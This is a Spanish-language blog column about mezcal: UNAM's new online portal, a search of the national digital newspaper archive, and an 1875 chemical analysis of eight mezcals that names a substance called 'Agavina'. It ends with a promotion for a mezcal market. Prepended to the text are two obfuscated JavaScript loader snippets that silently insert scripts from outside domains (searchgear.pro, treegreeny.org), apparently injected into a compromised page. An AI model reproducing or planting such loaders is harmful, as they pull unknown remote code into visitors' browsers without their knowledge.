;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Mezcales Tradicionales de los Pueblos de México » 105. UNAM, mezcal y Agavina

105. UNAM, mezcal y Agavina


El 14 noviembre la UNAM presentó el sitio Toda la UNAM en línea (www.unamenlinea.unam.mx), que busca “facilitar el acceso público y gratuito a los conocimientos, productos, acervos y servicios de la Universidad, a través de herramientas en línea”. Dentro del sitio visité el link de la Hemeroteca Nacional Digital de México (www.hndm.unam.mx), “repositorio virtual con más de nueve millones de imágenes correspondientes a 947 títulos de publicaciones periódicas históricas mexicanas de todos los Estados de la República desde 1722 hasta principios del siglo XX”. La sola mención de lo que incluye el acervo, acicateó mi curiosidad por conocer de primera mano estas fuentes documentales. Así que, emocionado, escribí en el botón de búsqueda la palabra obvia: mezcal.
Uno de los resultados llamó poderosamente mi atención: el informe “Análisis del vino mezcal” escrito por Vicente Fernández en diciembre de 1875 a petición del ayuntamiento de Guanajuato, y publicado en las páginas de El Cultivador, Periódico de agricultura, T. 1., 1876, que se editaba en la Ciudad de México.
Fernández refiere que se le “obligaba a indagar todos los principios orgánicos que contuvieran cada uno de los ocho vinos”, que fue el número de mezcales que analizó. Añade que su camino a seguir era: “1°, averiguar la composición natural del vino, y 2°, investigar qué sustancia extraña a esta composición contenía alguno o algunos de los vinos”. Y remataba: “¿a cuál de los ocho vinos reputaría puro para hacer el primer estudio, cuando en todos se temía el fraude? ¿Y de dónde tomaría un vino puro, cuando no se sabía si el mal lo traían o no desde sus fábricas?”
Entre otras sustancias encontradas, el autor menciona un “licor acuoso; sin olor alcohólico, pero recordando el del mezcal a la vez que el de la Rosa cocida; neutro, de sabor dulce aunque muy débil” al que llamó Agavina.
Quien desee regalar mezcales tradicionales, acuda hoy al Tianguis Mezcólatra, de 14 a 17 horas, en SINESTESIA: San Luis Potosí 121, altos, Roma, DF.

http://impreso.milenio.com/node/9077079

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